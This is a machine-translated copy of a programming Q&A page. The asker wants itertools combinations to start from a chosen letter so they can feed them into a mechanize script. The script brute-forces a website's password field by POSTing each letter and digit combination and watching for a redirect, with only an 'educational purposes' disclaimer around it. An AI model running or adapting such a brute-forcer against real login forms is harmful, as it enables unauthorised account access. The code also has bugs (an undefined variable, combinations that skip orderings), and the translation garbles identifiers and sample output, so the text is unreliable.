Python 如何从特定的字母/数字开始itertools组合,将其应用于HTML表单? 注意:

Python 如何从特定的字母/数字开始itertools组合,将其应用于HTML表单? 注意:,python,mechanize,Python,Mechanize,首先,我这样做只是为了教育目的,我不想用它伤害任何人或破坏任何东西 我有这样的代码: start = 1 end = 2 for length in range(start, end+1): for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length): 这将打印从A到Z的每个大写/小写字母,完成所有字母后,将开始打印从0到9的所有数字。所以它看起来是这样的

首先,我这样做只是为了教育目的,我不想用它伤害任何人或破坏任何东西


我有这样的代码:

start = 1
end = 2
for length in range(start, end+1):
    for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
这将打印从A到Z的每个大写/小写字母,完成所有字母后,将开始打印从0到9的所有数字。所以它看起来是这样的:
abcdefghijklmnopqrstuvxyzabcdefghijklmnopqrstuvxyzo123456789

在第一个循环完成后,它继续第二个循环并做同样的事情。像这样:

start = 1
end = 2
for length in range(start, end+1):
    for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
第一个循环开始:a

第二循环启动:aa

等等


我可以这样做:

def loop1():
    br.open("somewebsite")
    start = 1
    end = 2
    for length in range(start, end+1):
        for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
            br.select_form(nr=4)  
            br.set_all_readonly(False)
            br.form['password'] = ''.join(c)
            print "Testing",br.form['someform'] 
            br.method = "POST"
            response = br.submit()
            if response.geturl()=="somewebsiteredirect":
                print "Test is ",''.join(x)
                break
当网站重定向到主页时,脚本将打印哪个组合有效,这将用每个大小写字母和2范围内的数字填写表单。(再次说明:我只是出于教育目的而使用它)


我希望它做什么: 我想从特定的字母或数字开始组合

像这样:

组合1:

第一个循环开始:b

第二循环启动:ba

如果不可能,则如下所示:

start = 1
end = 2
for length in range(start, end+1):
    for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
组合2:

第一个循环开始:b

第二循环启动:bb


那么,是否可以使用Itertool从特定字母/数字开始组合,并使用Mechanize将其输出为HTML格式?

我不完全确定您在说什么。假设您只想使用字母
abc
作为您的字母表,并且您对查找长度为2的字符串感兴趣。您想要一个输入为
'b'
而输出为
['ba'、'bb'、'bc'、'ca'、'cb'、'cc']
的函数吗?您是否知道
itertools.compositions\u和\u replacement
会将具有相同值、顺序不同的项视为重复项,并且只生成一个?例如,
itertools.compositions\u with_replacement('ab',2)
给出了
[('a','a','b'),('b','b'),('b','b')]
-注意这里有
('a','b')
,但没有
('b','a')
。我希望itertools.compositions\u with_with_replacement从特定的字母开始,就像它通常从a开始一样,“但我想从B开始。”亚历克斯·哈勒,请回答我的问题。是或否,输出是否正确?我不是指引号和大写字母之类的细节,我想要完整的组合列表,所以不要给我“等”。